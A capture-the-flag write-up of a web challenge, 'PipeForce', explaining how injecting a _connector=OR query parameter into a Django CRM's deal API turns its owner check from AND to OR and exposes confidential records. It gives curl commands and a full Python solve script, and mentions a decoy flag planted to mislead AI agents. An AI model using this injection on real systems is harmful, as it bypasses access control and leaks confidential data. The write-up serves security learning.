PipeForce
PipeForce
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: access_control_bypass, django_orm_connector_injection, query_logic_manipulation
Summary
Walkthrough of the CUSTOM Web PipeForce. Task: CRM deal pipeline with role-based access control, Django ORM filtering via query parameters without whitelisting. Solution: Injected _connector=OR parameter to change filter logic from AND to OR
Description
PipeForce is a CRM platform built by Momentum Labs for high-velocity sales teams to manage their deal pipelines. Each salesperson can view and filter their own deals, contacts, and activities through a modern web interface. The platform features role-based access control where managers and admins have access to confidential deal records that regular salespeople cannot see. The deal pipeline supports filtering by status, stage, and priority via query parameters. The goal is to find and read a confidential deal record that contains sensitive internal information.
English summary: A CRM web application with role-based access control. Regular users can only see their own deals, but the filtering API passes query parameters directly to Django's ORM without whitelisting. The goal is to access confidential deal records owned by admin users.
Analysis
The application is a Django-based CRM with the following structure:
- Dashboard (
/), Deal Pipeline (/deals/), Contacts (/contacts/), Activity Log (/activities/), Reports (/reports/), Settings (/settings/) - API endpoint
/api/deals/accepts query parameters for filtering (status, stage, priority) - Access control enforced by adding
owner=current_userto filter conditions using AND logic - The filter dropdown reveals "Confidential" as an available stage, hinting at hidden data
The vulnerability lies in Django's ORM Q object internals. When query parameters are passed directly to .filter() or used to construct Q objects, the special _connector parameter controls how conditions are combined. By default, conditions are joined with AND, but injecting _connector=OR changes the logic operator.
Key insight: The access control filter owner=current_user is combined with user-supplied filters. If we can change the connector from AND to OR, the owner check becomes just one alternative condition rather than a mandatory requirement.
Decoy trap: A fake flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} was planted in HTML comments on every page to mislead automated tools and AI agents.
Solution
Step 1: Authentication
Login with provided credentials:
bash read-only • copy allowed# Get CSRF token and login curl -c cookies.txt -b cookies.txt -X POST https://TARGET/login/ \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "email=user@test.com&password=password123&csrfmiddlewaretoken=TOKEN"
Step 2: Confirm access control
bash read-only • copy allowed# Try to access confidential deals normally — returns empty curl -b cookies.txt "https://TARGET/api/deals/?stage=confidential" # Result: [] (empty — AND logic: owner=current_user AND stage=confidential)
The query translates to WHERE owner=current_user AND stage='confidential' — returns nothing because the current user doesn't own any confidential deals.
Step 3: Inject _connector=OR
bash read-only • copy allowed# Inject _connector=OR to change filter logic curl -b cookies.txt "https://TARGET/api/deals/?_connector=OR&stage=confidential"
This changes the query logic:
- Before:
WHERE owner=current_user AND stage='confidential'→ 0 results - After:
WHERE owner=current_user OR stage='confidential'→ returns ALL user's deals PLUS all confidential deals regardless of owner
Step 4: Extract the flag
The response included a confidential deal record:
json read-only • copy allowed{ "id": 30, "title": "Project Nexus - Internal", "owner": "Rachel Morrison (admin)", "stage": "confidential", "notes": "CONFIDENTIAL — Board-level acquisition target. Preliminary valuation complete. Auth token for due diligence portal: FLAG{REDACTED}" }
Full solve script
python read-only • copy allowed#!/usr/bin/env python3 import requests from bs4 import BeautifulSoup TARGET = "https://68d27685-3b2a-4ac2-8982-61fc12960254.labs.hackadvisor.io" s = requests.Session() # Get CSRF token resp = s.get(f"{TARGET}/login/") soup = BeautifulSoup(resp.text, "html.parser") csrf = soup.find("input", {"name": "csrfmiddlewaretoken"})["value"] # Login s.post(f"{TARGET}/login/", data={ "email": "user@test.com", "password": "password123", "csrfmiddlewaretoken": csrf }, headers={"Referer": f"{TARGET}/login/"}) # Exploit _connector injection to bypass access control resp = s.get(f"{TARGET}/api/deals/", params={ "_connector": "OR", "stage": "confidential" }) deals = resp.json() for deal in deals: if "confidential" in deal.get("stage", "").lower(): print(f"[+] Found confidential deal: {deal['title']}") print(f"[+] Notes: {deal.get('notes', '')}")
Key Takeaways / Lessons
- Mastering access_control_bypass, django_orm_connector_injection, query_logic_manipulation was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-05 • CUSTOM • PipeForce • Difficulty: Medium